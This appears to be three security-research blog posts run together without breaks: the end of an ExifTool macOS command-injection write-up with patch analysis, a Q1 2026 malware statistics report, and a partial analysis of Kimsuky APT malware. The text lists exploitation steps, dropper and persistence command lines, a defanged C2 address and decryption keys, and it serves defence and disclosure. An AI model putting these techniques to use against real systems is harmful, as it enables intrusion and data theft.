To confirm that the PrintConvInv filter rejects invalid dates when written directly, I ran the following command, where evil_benign.jpg is a normal JPG with an invalid date time format. We are greeted with the error message: Invalid date/time. This requires the time as well. The next screenshot confirms that direct exploitation fails: ExifTool’s date validation detects the malformed input and rejects the change, activating the internal PrintConvInv filter.
That said, it is possible to ignore the formatting and use the -n flag which accepts raw values instead of human-readable value. The -n flag skips the PrintConvInv conversion step, which is exactly where input sanitization occurs. This confirmed we could park unsanitized data in a source tag. The final step was to trigger the vulnerable code path by copying that data into FileCreateDate. This means we should now be able to modify the DateTimeOriginal tag with the invalid date time format with an -n flag. Examining the EXIF metadata tag, we can confirm that we can store a raw value without a proper human readable format that ExifTool accepts:
Triggering the exploit
To inject commands, we have to revisit the single quote injection into this datetime related tag.
The following screenshot shows that we have successfully set the datetime metadata with the single quote. With the payload safely stored in a source tag, the next step was to copy it into FileCreateDate, triggering the vulnerable system() call.
The next step now is to copy the datetime tag to a file which invokes SetMacOSTags. According to the documentation, this is how we can copy the data from the SRC tag to the FileCreateDate tag as seen in the SetMacOSTags with the -tagsFromFile feature.
Here, we confirm that the payload has been executed! Note that when copying tags in MacOS (Darwin), the /usr/bin/setfile command is used. To view the full $cmd value before the injection, I have added the debugging statement to displaying the actual command that is executed within the system function.
Upon injection, we can see that our command gets executed via command substitution. The single quotes that we added helped to make the entire command syntactically valid. The following shows a more detailed labelling and their roles in making this command line injection successful:
Such an image can appear completely benign and easily find its way into a newsroom or any organization that processes photos on macOS using ExifTool. Once processed, an attacker could silently deploy a Trojan for covert data exfiltration, drop additional malware, or use the compromised machine as a foothold to expand the attack within the victim’s network.
Patch analysis
After verifying successful exploitation, we examined how the maintainer addressed the flaw in version 13.50. In the vulnerable version of ExifTool, commands were sanitized before being concatenated together. This means that it is possible to concatenate single quotes which led to the exploitation. However, by abstracting the system call into a dedicated wrapper and requiring a list of arguments instead of concatenated string, the fix removes the need for any manual escaping altogether.
1. Replacing string form to argument list form:
#### BEFORE
$cmd = "/usr/bin/setfile -d '${val}' '${f}'";
system $cmd;
#### AFTER
system('/usr/bin/setfile', '-d', $val, $file);
2. Create new System() wrapper. In version 13.49, the output is piped to /dev/null . To maintain that logic, the wrapper would temporarily redirect STDOUT/STDERR to /dev/null and restore them after the call.
# Call system command, redirecting all I/O to /dev/null
# Inputs: system arguments
# Returns: system return code
sub System
{
open(my $oldout, ">&STDOUT");
open(my $olderr, ">&STDERR");
open(STDOUT, '>', '/dev/null');
open(STDERR, '>', '/dev/null');
my $result = system(@_);
open(STDOUT, ">&", $oldout);
open(STDERR, ">&", $olderr);
return $result;
}
How to protect against ExifTool vulnerability
It’s critical to ensure that all photo processing workflows are using the updated version. You should verify that all asset management platforms, photo organization apps, and any bulk image processing scripts running on Macs are calling ExifTool version 13.50 or later, and don’t contain an embedded older copy of the ExifTool library.
ExifTool, like any software, may contain additional vulnerabilities of this class. To harden defenses, I recommend using Kaspersky Open Source Software Threats Data Feed for continuous monitoring of open-source components in your software supply chain, and Kaspersky for macOS as comprehensive endpoint protection. Additionally, isolate processing of untrusted files on dedicated machines or virtual environments with strictly limited network and storage access. If you work with freelancers, contractors, or allow BYOD, enforce a policy that only devices with an active macOS security solution can access your corporate network.
Conclusions
CVE-2026-3102 highlights the risks of inconsistent input sanitization in tools that bridge high-level metadata parsing with platform-specific utilities. While exploitation requires explicit flag usage (-n) and is restricted to macOS, the vulnerability underscores the danger of manual escaping routines in evolving codebases. The transition to list-form system execution provides a robust, architecture-level fix that eliminates shell interpretation risks entirely. This case reinforces a core security principle: replacing fragile string concatenation with secure, list-based API calls remains the most reliable mitigation against command injection.
In the third quarter of 2025, we updated the methodology for calculating statistical indicators based on the Kaspersky Security Network. These changes affected all sections of the report except for the statistics on installation packages, which remained unchanged.
To illustrate the differences between the reporting periods, we have also recalculated data for the previous quarters. Consequently, these figures may significantly differ from the previously published ones. However, subsequent reports will employ this new methodology, enabling precise comparisons with the data presented in this post.
The Kaspersky Security Network (KSN) is a global network for analyzing anonymized threat information, voluntarily shared by users of Kaspersky solutions. The statistics in this report are based on KSN data unless explicitly stated otherwise.
The quarter in numbers
According to Kaspersky Security Network, in Q1 2026:
More than 2.67 million attacks utilizing malware, adware, or unwanted mobile software were prevented.
The Trojan-Banker category was the prevalent mobile malware threat with a 52.96% share of total detected applications.
More than 306,000 malicious installation packages were discovered, including:
162,275 packages related to mobile banking Trojans;
439 packages related to mobile ransomware Trojans.
Quarterly highlights
The number of malware, adware, or unwanted software attacks on mobile devices decreased to 2,676,328 in Q1, down from 3,239,244 in the previous quarter.
Attacks on users of Kaspersky mobile solutions, Q3 2024 — Q1 2026 (download)
The overall drop in attack volume stems primarily from a reduction in adware and RiskTool detections. Nonetheless, this trend does not equate to a lower risk for mobile users. As shown later in this report, the number of unique users targeted by these threats remained relatively stable.
In Q1, Synthient researchers identified a link between the notorious Kimwolf botnet and the IPIDEA proxy network. This network was later taken down in cooperation with GTIG.
In early 2026, we discovered several apps on Google Play and the App Store that contained a new version of the SparkCat crypto stealer.
The Trojan code, meticulously concealed, was embedded into the infected Android apps. The obfuscated malicious Rust library was decrypted using a Dalvik-like virtual machine custom-built by the attackers. The iOS version of the malware also underwent several changes; specifically, the attackers began leveraging Apple’s proprietary Vision framework for optical character recognition (OCR).
Mobile threat statistics
The number of Android malware samples saw a slight increase compared to Q4 2025, reaching a total of 306,070.
The detected installation packages were distributed by type as follows:
Detected mobile apps by type, Q4 2025* — Q1 2026 (download)
* Data for the previous quarter may differ slightly from previously published figures due to certain verdicts being retrospectively revised.
Threat actors once again ramped up the production of new banking Trojans; as a result, this category overtook all others in volume, accounting for more than half of all installation packages.
Share* of users attacked by the given type of malicious or potentially unwanted app out of all targeted users of Kaspersky mobile products, Q4 2025 — Q1 2026 (download)
* The total percentage may exceed 100% if the same users encountered multiple attack types.
Following the surge in banking Trojan installation packages, the number of associated attacks also rose, causing Trojan-Banker apps to climb one spot in terms of their share of targeted users. Mamont variants emerged as the most prevalent banking Trojans, accounting for 73.5% of detections, with the rest of the users encountering Faketoken, Rewardsteal, Creduz, and other families.
Yet banking Trojans were still outpaced by adware and RiskTool-type unwanted apps when measured by the total number of affected users. Despite a decrease in their share of installation packages, these two app types retained their positions as the top two threats by attack volume. The most common adware detections involved HiddenAd (44.9%) and MobiDash (38.1%), while most frequently seen RiskTool apps were Revpn (67%) and SpyLoan (20.5%).
TOP 20 most frequently detected types of mobile malware
Note that the malware rankings below exclude riskware or potentially unwanted software, such as RiskTool or adware.
Verdict
%* Q4 2025
%* Q1 2026
Difference in p.p.
Change in ranking
Backdoor.AndroidOS.Triada.ag
2.62
7.09
+4.48
+10
DangerousObject.Multi.Generic.
6.75
5.84
-0.92
-1
DangerousObject.AndroidOS.GenericML.
3.52
5.51
+1.99
+6
Trojan-Banker.AndroidOS.Mamont.jo
0.00
5.28
+5.28
Trojan.AndroidOS.Fakemoney.v
5.40
3.44
-1.96
-1
Trojan-Downloader.AndroidOS.Keenadu.l
0.00
3.35
+3.35
Trojan-Banker.AndroidOS.Mamont.jx
0.00
3.09
+3.09
Backdoor.AndroidOS.Triada.z
4.87
3.08
-1.79
-2
Trojan.AndroidOS.Triada.fe
5.01
2.98
-2.02
-4
Backdoor.AndroidOS.Keenadu.a
2.07
2.73
+0.66
+6
Trojan-Banker.AndroidOS.Mamont.jg
0.34
2.37
+2.03
Trojan.AndroidOS.Triada.hf
2.15
2.23
+0.07
+3
Trojan.AndroidOS.Boogr.gsh
2.35
2.15
-0.20
0
Trojan.AndroidOS.Triada.ii
5.68
2.07
-3.60
-11
Backdoor.AndroidOS.Triada.ae
1.91
1.76
-0.16
+3
Backdoor.AndroidOS.Triada.ab
1.79
1.72
-0.08
+3
Trojan.AndroidOS.Triada.gn
2.38
1.58
-0.80
-5
Trojan-Banker.AndroidOS.Mamont.gg
1.56
1.50
-0.06
+2
Trojan.AndroidOS.Triada.ga
1.48
1.50
+0.01
+4
Backdoor.AndroidOS.Triada.ad
0.53
1.40
+0.87
+44
* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.
The pre-installed Triada.ag backdoor rose to the top spot; it is similar to the older Triada.z version we documented previously. Because the same variant was pre-installed across a wide range of devices, the total number of affected users is aggregated. Consequently, Triada outpaced even Mamont, as users encountered a variety of Mamont variants, causing the share of that banking Trojan to spread across multiple rows. Other pre-installed Triada variants (Triada.z, Triada.ae, Triada.ab, and Triada.ad) also made the rankings. Furthermore, we observed increasing activity from the Keenadu.a backdoor, while diverse variants of the embedded Triada Trojan remained in the rankings.
Mobile banking Trojans
Q1 2026 saw a characteristic rise in mobile banking Trojan activity, with the number of packages totaling 162,275, a 50% increase compared to the prior quarter.
Number of installation packages for mobile banking Trojans detected by Kaspersky, Q1 2025 — Q1 2026 (download)
We saw a similar growth in the previous quarter, with banking Trojan volumes rising by 50% during that period as well. Various Mamont variants accounted for the absolute majority of packages and represented nearly every entry in the rankings of most frequent banking Trojans by affected user count.
TOP 10 mobile bankers
Verdict
%* Q4 2025
%* Q1 2026
Difference in p.p.
Change in ranking
Trojan-Banker.AndroidOS.Mamont.jo
0.00
15.75
+15.75
Trojan-Banker.AndroidOS.Mamont.jx
0.00
9.22
+9.22
Trojan-Banker.AndroidOS.Mamont.jg
1.47
7.08
+5.61
+24
Trojan-Banker.AndroidOS.Mamont.gg
6.79
4.48
-2.32
-3
Trojan-Banker.AndroidOS.Mamont.ks
0.00
3.98
+3.98
Trojan-Banker.AndroidOS.Agent.ws
6.03
3.78
-2.25
-2
Trojan-Banker.AndroidOS.Mamont.hl
4.30
3.27
-1.03
+1
Trojan-Banker.AndroidOS.Mamont.iv
6.00
3.08
-2.92
-3
Trojan-Banker.AndroidOS.Mamont.jb
3.93
3.07
-0.86
+1
Trojan-Banker.AndroidOS.Mamont.jv
0.00
2.79
+2.79
* Unique users who encountered this malware as a percentage of all users of Kaspersky mobile security solutions who encountered banking threats.
The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.
Quarterly figures
In Q1 2026:
Kaspersky products blocked more than 343 million attacks that originated with various online resources.
Web Anti-Virus responded to 50 million unique links.
File Anti-Virus blocked nearly 15 million malicious and potentially unwanted objects.
2938 new ransomware variants were detected.
More than 77,000 users experienced ransomware attacks.
14% of all ransomware victims whose data was published on threat actors’ data leak sites (DLS) were victims of Clop.
More than 260,000 users were targeted by miners.
Ransomware
Quarterly trends and highlights
Law enforcement success
In January 2026, it was reported that the FBI had seized the domains of the RAMP cybercrime forum, a major platform used extensively by ransomware developers to advertise their RaaS programs and to recruit affiliates. There has been no official statement from the FBI, nor is it clear if RAMP servers were seized. In a post on an external website, a RAMP moderator mentioned law enforcement agencies gaining control over the forum. The takedown disrupted a key element of the RaaS ecosystem, creating ripple effects for ransomware operators, affiliates, and initial access brokers.
A man suspected of links to the Phobos group was apprehended in Poland. He was charged with the creation, acquisition, and distribution of software designed for unlawfully obtaining information, including data that facilitates unauthorized access to information stored within a computer system.
In March, a Phobos ransomware administrator pleaded guilty to the creation and distribution of the Trojan, which had been used in international attacks dating back to at least November 2020.
In March, the U.S. Department of Justice charged a man who had acted as a negotiator for ransomware groups. The company he worked for specializes in cyberincident investigations. The prosecution alleges the suspect colluded with the BlackCat threat actor to share privileged insights into the ongoing progress of negotiations. Additionally, the suspect is alleged to have had a prior direct role in BlackCat attacks, serving as an affiliate for the RaaS operation.
In a separate development this March, a U.S. court sentenced an initial access broker associated with the Yanluowang ransomware group to 81 months of imprisonment. According to the U.S. Department of Justice, the convict facilitated dozens of ransomware attacks across the United States, resulting in over $9 million in actual loss and more than $24 million in intended loss.
Vulnerabilities and attacks
The Interlock group has been heavily exploiting the CVE-2026-20131 zero-day vulnerability in Cisco Secure FMC firewall management software since at least January 26, 2026. The vulnerability enabled arbitrary Java code execution with root privileges on the affected device. This campaign demonstrates the ongoing reliance on zero-day vulnerabilities for initial access, a focus on network appliances as high-value entry points, and the rapid weaponization of new vulnerabilities within the ransomware ecosystem.
The most prolific groups
This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. This quarter, the Clop ransomware (14.42%) returned to the top of the rankings, displacing Qilin (12.34%), which had held the leading position in the previous reporting period. Following closely is a new threat actor, The Gentlemen (9.25%). Emerging no later than July 2025, the group had already surpassed the activity levels of mainstays such as Akira (7.25%) and INC Ransom (6.13%).
Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)
Number of new variants
In Q1 2026, Kaspersky solutions detected six new ransomware families and 2938 new modifications. Volumes have returned to Q3 2025 levels following a surge in Q4 2025.
Number of new ransomware modifications, Q1 2025 — Q1 2026 (download)
Number of users attacked by ransomware Trojans
Throughout Q1, our solutions protected 77,319 unique users from ransomware. Ransomware activity was highest in March, with 35,056 unique users encountering such attacks during the month.
Number of unique users attacked by ransomware Trojans, Q1 2026 (download)
Attack geography
TOP 10 countries and territories attacked by ransomware Trojans
Country/territory*
%**
1
Pakistan
0.79
2
South Korea
0.64
3
China
0.52
4
Tajikistan
0.40
5
Libya
0.38
6
Turkmenistan
0.36
7
Iraq
0.35
8
Bangladesh
0.33
9
Rwanda
0.30
10
Cameroon
0.28
* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.
TOP 10 most common families of ransomware Trojans
Name
Verdict
%*
1
(generic verdict)
Trojan-Ransom.Win32.Gen
33.90
2
(generic verdict)
Trojan-Ransom.Win32.Crypren
6.38
3
WannaCry
Trojan-Ransom.Win32.Wanna
5.87
4
(generic verdict)
Trojan-Ransom.Win32.Encoder
4.68
5
(generic verdict)
Trojan-Ransom.Win32.Agent
3.80
6
LockBit
Trojan-Ransom.Win32.Lockbit
2.80
7
(generic verdict)
Trojan-Ransom.Win32.Phny
1.99
8
(generic verdict)
Trojan-Ransom.MSIL.Agent
1.96
9
(generic verdict)
Trojan-Ransom.Python.Agent
1.93
10
(generic verdict)
Trojan-Ransom.Win32.Crypmod
1.89
* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.
Miners
Number of new variants
In Q1 2026, Kaspersky solutions detected 3485 new modifications of miners.
Number of new miner modifications, Q1 2026 (download)
Number of users attacked by miners
In Q1, we detected attacks using miner programs on the computers of 260,588 unique Kaspersky users worldwide.
Number of unique users attacked by miners, Q1 2026 (download)
Attack geography
TOP 10 countries and territories attacked by miners
Country/territory*
%**
1
Senegal
3.19
2
Turkmenistan
3.06
3
Mali
2.63
4
Tanzania
1.62
5
Bangladesh
1.06
6
Ethiopia
0.95
7
Panama
0.88
8
Afghanistan
0.79
9
Kazakhstan
0.77
10
Bolivia
0.75
* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.
Attacks on macOS
In Q1 2026, Google uncovered a new cryptocurrency theft campaign. The scammers directed victims to a fraudulent video call, prompting them to execute malicious scripts under the guise of technical support fixes for connection problems.
In March, researchers with GTIG and iVerify reported the discovery of an in-the-wild exploit chain targeting both iOS and macOS devices. The exploit kit was apparently marketed on the dark web, providing threat actors with a suite of spyware capabilities alongside specialized cryptocurrency exfiltration modules. The exploit was delivered via drive-by downloads when victims visited various compromised websites. Our analysis confirmed that the toolkit included an updated version of a component previously identified in the Operation Triangulation attack chain.
Devices running macOS were similarly impacted by the high-profile supply chain attack targeting the Axios npm package, a widely used HTTP client for JavaScript. The installation of the infected package led to the deployment of a backdoor on macOS devices.
TOP 20 threats to macOS
Unique users* who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)
* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.
The share of PasivRobber spyware attacks is beginning to decline, giving way to more traditional adware and Monitor-class software capable of tracking user activity. The popular Amos stealer also maintains its presence within the TOP 20.
Geography of threats to macOS
TOP 10 countries and territories by share of attacked users
Country/territory
%* Q4 2025
%* Q1 2026
China
1.28
1.97
France
1.18
1.07
Brazil
1.13
0.98
Mexico
0.72
0.52
Germany
0.71
0.45
The Netherlands
0.62
0.75
Hong Kong
0.49
0.53
India
0.42
0.48
Russian Federation
0.34
0.37
Thailand
0.24
0.27
* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.
IoT threat statistics
This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.
In Q1 2026, the share of devices attacking Kaspersky honeypots via the SSH protocol saw a significant increase compared to the previous reporting period.
Distribution of attacked services by number of unique IP addresses of attacking devices (download)
The distribution of attacks between Telnet and SSH maintained the ratio observed in Q4 2025.
Distribution of attackers’ sessions in Kaspersky honeypots (download)
TOP 10 threats delivered to IoT devices
Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)
The primary shifts in the IoT threat distribution are linked to the activity of various Mirai botnet variants, although members of this family continue to account for the majority of the list. Furthermore, a new variant, Mirai.kl, surfaced in the rankings. We also observed a significant decline in NyaDrop botnet activity during Q1.
Attacks on IoT honeypots
The United States, the Netherlands, and Germany accounted for the highest proportions of SSH-based attacks during this period.
Country/territory
Q4 2025
Q1 2026
United States
16.10%
23.74%
The Netherlands
15.78%
17.57%
Germany
12.07%
10.34%
Panama
7.72%
6.34%
India
5.32%
6.05%
Romania
4.05%
5.82%
Australia
1.62%
4.61%
Vietnam
4.21%
3.50%
Russian Federation
3.79%
2.35%
Sweden
2.25%
2.09%
China continues to account for the largest proportion of Telnet attacks, though there was a marked increase in activity originating from Pakistan.
Country/territory
Q4 2025
Q1 2026
China
53.64%
39.54%
Pakistan
14.27%
27.31%
Russian Federation
8.20%
8.25%
Indonesia
8.58%
6.71%
India
4.85%
4.66%
Brazil
0.06%
3.30%
Argentina
0.02%
2.51%
Nigeria
1.22%
1.38%
Thailand
0.01%
0.55%
Sweden
0.54%
0.55%
Attacks via web resources
The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.
TOP 10 countries and territories that served as sources of web-based attacks
The following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malicious programs, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.
To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).
In Q1 2026, Kaspersky solutions blocked 343,823,407 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 49,983,611 unique URLs.
Web-based attacks by country/territory, Q1 2026 (download)
Countries and territories where users faced the greatest risk of online infection
To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.
This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.
Country/territory*
%**
1
Venezuela
9.33
2
Hungary
8.16
3
Italy
7.58
4
Tajikistan
7.48
5
India
7.21
6
Greece
7.13
7
Portugal
7.10
8
France
7.05
9
Belgium
6.83
10
Slovakia
6.80
11
Vietnam
6.62
12
Bosnia and Herzegovina
6.57
13
Canada
6.56
14
Serbia
6.50
15
Tunisia
6.36
16
Qatar
6.01
17
Spain
5.95
18
Germany
5.95
19
Sri Lanka
5.89
20
Brazil
5.88
* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.
On average during the quarter, 4.73% of users’ computers worldwide were subjected to at least one Malware web attack.
Local threats
Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.
Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.
In Q1 2026, our File Anti-Virus detected 15,831,319 malicious and potentially unwanted objects.
Countries and territories where users faced the highest risk of local infection
For each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting period. This statistic reflects the level of personal computer infection in different countries and territories around the world.
Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.
Country/territory*
%**
1
Turkmenistan
47.96
2
Tajikistan
31.48
3
Cuba
31.03
4
Yemen
29.59
5
Afghanistan
28.47
6
Burundi
26.93
7
Uzbekistan
24.81
8
Syria
23.08
9
Nicaragua
21.97
10
Cameroon
21.60
11
China
21.09
12
Mozambique
21.02
13
Algeria
20.64
14
Democratic Republic of the Congo
20.63
15
Bangladesh
20.44
16
Mali
20.35
17
Republic of the Congo
20.23
18
Madagascar
20.00
19
Belarus
19.78
20
Tanzania
19.52
* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers local Malware threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.
On average worldwide, Malware local threats were detected at least once on 11.55% of users’ computers during Q1.
Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.
Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.
Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.
This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.
Executive summary
Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.
Background
First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).
The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.
Timeline of the AppleSeed and PebbleDash malware families
AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.
Initial access
Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.
Appendix Form No. 8 – Request for Access, Correction, Deletion, and Suspension of Processing of Personal Information (PIPA Enforcement Rules).hwp.jse
August 28, 2025
995a0a49ae4b244928b3f67e2bfd7a6e
HelloDoor
2
2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
Documents for the Selection of Commissioned Students for Domestic Graduate School Master’s Evening Programs (H1 2026).hwpx.jse
December 14, 2025
52f1ff082e981cbdfd1f045c6021c63f
httpMalice
3
security_20260126.scr
–
January 26, 2026
65fc9f06de5603e2c1af9b4f288bb22c
Reger Dropper, MemLoad, httpTroy
4
노현정님.pdf.jse
Ms. Noh Hyun-jung.pdf.jse
January 28, 2026
8e15c4d4f71bdd9dbc48cd2cabc87806
AppleSeed chain
5
대국민서비스관리운영체계현장점검증적(초안).pif
On-site Inspection Evidence for the Public Service Management System (Draft).pif
February 5, 2026
8983ffa6da23e0b99ccc58c17b9788c7
Pidoc Dropper, HappyDoor
JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].
Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.
In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.
Deployed malware
In this section, we describe several malware families recently dropped by the droppers discussed above.
HelloDoor: first Rust-based PebbleDash variant
Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.
HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].
The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.
The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:
Command
Description
“mcd”
Set the current directory
“msleep”
Sleep for the provided time
“install”
Register the regsvr32.exe /s [the provided file path] command to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run autorun registry using the install value name
[command]
Execute the provided command using chcp 65001 > nul & cmd /U /C [command]
Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.
✅ Port is now listening (no accepting)
❌ Port is already in use
🔍 regsvr32.exe detected as parent. Attempting to terminate...
This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.
Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:
result send fail (grammatically incorrect text)
server request fail (grammatically incorrect text)
It is likely that the flawed comments were added manually before or after AI was used.
httpMalice: latest backdoor variant of PebbleDash
The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:
(PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
(PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
(PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
